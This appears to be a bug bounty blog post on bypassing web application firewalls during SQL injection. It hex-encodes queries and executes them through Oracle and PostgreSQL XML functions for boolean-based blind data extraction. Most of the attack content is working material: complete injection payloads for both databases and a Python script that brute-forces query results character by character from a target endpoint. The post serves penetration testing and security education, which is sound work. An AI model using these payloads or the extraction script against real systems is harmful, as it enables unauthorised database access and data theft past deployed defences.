SQL Injection: Utilizing XML Functions in Oracle and PostgreSQL to bypass WAFs
TL;DR.
In this blog post we will be discussing how built-in XML functions in Oracle and PostgreSQL database management systems can be used to bypass web application firewalls (WAFs). I will be presenting two real-life examples from private bug bounty programs where traditional methods for bypassing WAFs were not effective.
Introduction
It's really frustrating when you find a valid SQL injection vulnerability, but there isn't much to do because of a WAF blocking most of your payloads. Many WAF rules can be bypassed using character case switching, comments, splitting the payload into multiple parameters, double URL encoding and many other methods that depend on how the target application and the WAF handle your requests.
However, In the cases we are discussing in this blog, I was not able to bypass the WAF using common WAF bypass methods.
Case 1: SQL Injection in an Oracle database - WAF bypass using REGEXP_LIKE() and DBMS_XMLGEN.GETXMLTYPE()
DBMS_XMLGEN.GETXMLTYPE ( ctx IN ctxhandle, dtdOrSchema IN number := NONE) RETURN sys.XMLType;
UTL_RAW.CAST_TO_VARCHAR2 ( r IN RAW) RETURN VARCHAR2;
HEXTORAW
converts char
containing hexadecimal digits in the CHAR
, VARCHAR2
, NCHAR
, or NVARCHAR2
data type to a raw value.
DBMS_XMLGEN.GETXMLTYPE(utl_raw.cast_to_varchar2(HEXTORAW('HEX_QUERY')))
The HEX_QUERY is the value of whichever query we want to execute converted to hex, for example the query "select user from dual" will be "73656C65637420757365722066726F6D206475616C" which allows us to fully evade the WAF detection rules.
This payload alone is not enough because in this scenario we are not getting the results of the evaluated query in the response and we need to extract data based on a boolean value, hence we could use the REGEXP_LIKE() function (https://docs.oracle.com/cd/B12037_01/server.101/b10759/conditions018.htm):
REGEXP_LIKE(source_string, pattern [, match_parameter ] )
REGEXP_LIKE is similar to the a LIKE condition, except REGEXP_LIKE performs regular expression matching instead of the simple pattern matching performed by LIKE and returns a boolean (True or Fasle).
That being said, now we don't even have to use a matching operator which is usually detected by most WAF rules and we can pass our XML function as the source string, then match it on our test character using a regular expression.
The full payload looks should look like this:
1 or REGEXP_LIKE(
DBMS_XMLGEN.GETXMLTYPE(utl_raw.cast_to_varchar2(
HEXTORAW('{HEX_QUERY}')
)
),'{REGEX}','i')
1 or REGEXP_LIKE(
DBMS_XMLGEN.GETXMLTYPE(utl_raw.cast_to_varchar2(
HEXTORAW('73656C65637420636F6E63617428757365722C274027292066726F6D206475616C')
)
),'>a(.+)?@RES<','i')
import requests
import time
requests.packages.urllib3.disable_warnings()
s = "abcdefghijklmnopqrstuvwxyz0123456789_@." # charlist
res = ''
restart = True
query = input("Query: ") # example: select concat(user,'RES') from dual
query = query.encode("utf-8").hex() # Hex encode the query
while(restart):
restart = False
for i in s:
print(i)
payload = f"1%20or%20REGEXP_LIKE(DBMS_XMLGEN.GETXMLTYPE(utl_raw.cast_to_varchar2(HEXTORAW('{query}'))),'>{str(res)}{str(i)}(.%2b)%3fRES<','i')"
r= requests.get("https://{target}/administration-service/api/v1/image/{payload}", verify=False)
if "data:" in r.text:
res += str(i)
print("Found:", res)
restart = True
break
print("Output:" , res)
P.S: If you can't use REGEXP_LIKE, you can still get a boolean result using Oracle's XPATH functions (https://docs.oracle.com/cd/E68885_01/doc.731/e68892/dev_xpath_functions.htm)
Case 2: SQL Injection in a PostgreSQL database - WAF bypass using query_to_xml() and xpath_exists()
query_to_xml(query text, nulls boolean, tableforest boolean, targetns text)
(select(1)where(
xpath_exists('/',(
query_to_xml(
convert_from(
decode('73656c65637420636173742876657273696f6e2829206173206e756d6572696329','hex')
, 'UTF8'),true,true,''
)
)
)
)
)
- 73656c65637420636173742876657273696f6e2829206173206e756d6572696329 -->Hexadecimal representation of select cast(version() as numeric).
- decode() --> Casts hexadecimal query to bytes.
- convert_from()--> Casts query bytes to ASCII text.
- query_to_xml()--> Executes the query.
- xpath_exists()--> Looks for the root element in the returned XML, it will return true if the query returns results and will throw a runtime error if it doesn't (You can use this for boolean-based exploitation).
- It's really important to read the documentation and understand how a DBMS works when exploiting SQL Injection.
- Not all cases are the same, you will always need to customize something yourself.
- Rather than spending hours searching for a bypass, read the docs and try to find built-in functions or statements that can help evade WAF detection rules.
Nice Catch 😘
ReplyDelete